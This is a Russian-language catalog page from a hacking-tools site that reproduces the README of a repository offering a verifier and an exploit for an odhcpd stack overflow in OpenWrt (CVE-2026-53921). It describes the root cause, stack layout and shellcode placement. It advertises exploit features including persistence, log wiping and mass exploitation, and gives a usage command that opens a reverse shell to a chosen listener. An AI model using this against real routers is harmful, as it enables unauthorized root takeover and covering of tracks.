Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – переполнение стека odhcpd (CVSS 9.8) 🛡️ Подробный и всесторонний разбор уязвимости, верификатор и мультиэксплойт для RCE через DHCPv6 в OpenWrt. Двухвекторное (IA_NA/IA_PD) переполнение с shellcode для MIPS/ARM, ROP-цепочки, SOCKS5-прокси, персистентность, затирание логов и массовое сканирование. Используйте этично, оставайтесь в рамках закона. 🔒 | Kitploit
Инструменты/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Безопасность встроенных системРазведкаФреймворки для эксплойтовБезопасность IoTАнализ уязвимостейЭксплуатацияПост-эксплуатацияRed TeamingГенерация Шеллкода

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

CVE-2026-53921 – переполнение стека odhcpd (CVSS 9.8) 🛡️ Подробный и всесторонний разбор уязвимости, верификатор и мультиэксплойт для RCE через DHCPv6 в OpenWrt. Двухвекторное (IA_NA/IA_PD) переполнение с shellcode для MIPS/ARM, ROP-цепочки, SOCKS5-прокси, персистентность, затирание логов и массовое сканирование. Используйте этично, оставайтесь в рамках закона. 🔒

Разработка Полезной Нагрузки
Эксплуатация Бинарных Файлов
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

Репозиторий
614211 дней назадЕщё не проверено
Поделиться

CVE-2026-53921

CVE-2026-53921 – переполнение стека в odhcpd

CVE CVSS OpenWrt

  • Только для образовательных целей и авторизованного тестирования. Несанкционированное использование незаконно.**

Обзор уязвимости

CVE-2026-53921 — критическое переполнение буфера в стеке в демоне odhcpd OpenWrt — сервере DHCPv6/DHCPv4/RA по умолчанию.

Как это работает

Уязвимость существует в коде обработки сообщений DHCPv6 в odhcpd, в частности в функциях build_ia() и dhcpv6_ia_handle_IAs().

Технический разбор

1. Первопричина

Ошибка возникает во время сериализации (упаковки) пакетов DHCPv6 Reply. Когда odhcpd отвечает на запросы клиента, он формирует ответ в буфере стека фиксированного размера 512 байт без должной проверки границ.

// Упрощённое представление уязвимого кода

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // Нет проверки границ перед записью
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Вызов переполнения

Атакующий отправляет DHCPv6 Request (или Solicit) с:

  • 5 или более опций IA_NA (Identity Association for Non-temporary Address), каждая из которых содержит подопцию IAAddress.
  • 22 или более опций IA_PD (Identity Association for Prefix Delegation).

Каждая опция занимает место в стеке, пока odhcpd формирует свой Reply. Накопленные данные превышают 512 байт, вызывая переполнение.

3. Два вектора переполнения


Вектор Триггер Точка переполнения


Site 1 5 опций IA_NA build_ia() для IA_NA с IPv6-адресами

Site 2 22 опции IA_PD build_ia() для IA_PD

Первопричина идентична, но переполнение происходит в разных путях кода, что делает оба вектора одинаково эксплуатируемыми.

4. Раскладка памяти

Раскладка стека (упрощённо):

+-------------------+  <-- Старшие адреса
|    Return Address |  ← Перезаписывается значением, контролируемым атакующим
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← Буфер 512 байт
+-------------------+  <-- Младшие адреса

Атакующий перезаписывает сохранённый адрес возврата, чтобы он указывал на его шелл-код в памяти.

5. Требования для эксплуатации


Требование Описание


Сетевой доступ У атакующего должно быть IPv6-подключение к цели

Аутентификация Нет — атака без аутентификации

Привилегии odhcpd работает от root, поэтому RCE даёт полный контроль над системой

Целевая служба UDP-порт 547 (DHCPv6) должен быть открыт

6. Размещение шелл-кода

В реальном эксплойте шелл-код атакующего размещается в полях IPv6-адресов IAAddress (16 байт на IA_NA). Сформированные пакеты упаковывают шелл-код, NOP-след и адрес возврата в эти поля.

Структура сформированного IA_NA:

+-------------------+
| IA_NA Header      | (12 байт)
+-------------------+
| IAAddress 1       | ← NOP-след + шелл-код
+-------------------+
| IAAddress 2       | ← NOP-след + шелл-код
+-------------------+
| IAAddress 3       | ← NOP-след + шелл-код
+-------------------+
| IAAddress 4       | ← Адрес возврата
+-------------------+
| IAAddress 5       | ← Адрес возврата
+-------------------+

7. Цепочка воздействия

Сформированный DHCPv6 Request
         ↓
odhcpd обрабатывает опции IA_NA/IA_PD
         ↓
Переполнение буфера стека 512 байт
         ↓
Адрес возврата перезаписан
         ↓
CPU переходит на шелл-код
         ↓
Reverse shell / Bind shell / RCE
         ↓
Полная компрометация системы (привилегии root)

8. Векторы атак и статус устранения

Версия Статус Возможен RCE?


odhcpd < e432dd6 Уязвима [+] Да OpenWrt < 24.10.8 Уязвима [+] Да OpenWrt < 25.12.5 Уязвима [+] Да OpenWrt 24.10.8+ Исправлена [-] Нет OpenWrt 25.12.5+ Исправлена [-] Нет odhcpd master + e432dd6 Исправлена [-] Нет

9. Эксплуатация в реальных условиях

Эта уязвимость особенно опасна, потому что:

  • odhcpd включён по умолчанию в установках OpenWrt.
  • Аутентификация не требуется — любое устройство в том же сегменте IPv6 может атаковать.
  • Ошибка находится в пути обработки запросов.
  • Стековые канарейки и ASLR редко присутствуют на встраиваемых устройствах MIPS/ARM.
  • Эксплойт может обходить распространённые средства защиты во многих встраиваемых средах.

Уязвимые версии

КомпонентУязвимые версииИсправлено в
odhcpd (ветка master)до коммита e432dd6e432dd6 или новее
Релизы OpenWrt< 24.10.8
< 25.12.5
24.10.8 и 25.12.5

Инструменты

Этот репозиторий предоставляет два независимых скрипта:

СкриптНазначениеКод эксплойтаБезопасность
verifier.pyНеинтрузивная проверка уязвимости[-] Нет[+] Безопасно
exploit.pyПолноценный боевой эксплойт[+] Да[!] Опасно

verifier.py – Проверка уязвимости

  • Отправляет стандартный DHCPv6 Solicit для проверки активности службы.
  • Считывает баннеры HTTP/SSH для определения версии OpenWrt.
  • Сравнивает версию с известным уязвимым диапазоном.
  • Не отправляет никаких полезных нагрузок переполнения или шелл-кода.

exploit.py – Полный эксплойт

  • Двойные векторы переполнения: IA_NA (Site1) и IA_PD (Site2).
  • Автоматическое определение архитектуры (MIPS / ARM).
  • Reverse и bind шелл-код для MIPS big-endian.
  • Поддержка SOCKS5-прокси.
  • Персистентность (cron-бэкдор) и очистка логов.
  • Многопоточное сканирование и массовая эксплуатация.
  • Опциональное кодирование полезной нагрузки (XOR).

Установка

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

Использование

Verifier – проверка уязвимости цели

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – получение reverse shell (не используйте для незаконной деятельности, только для тестирования)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

Параметры командной строки

verifier.py

АргументОписание
-u, --targetЦелевой IPv6-адрес (обязательно)
-i, --ifaceСетевой интерфейс (по умолчанию: eth0)

exploit.py

Скачать инструмент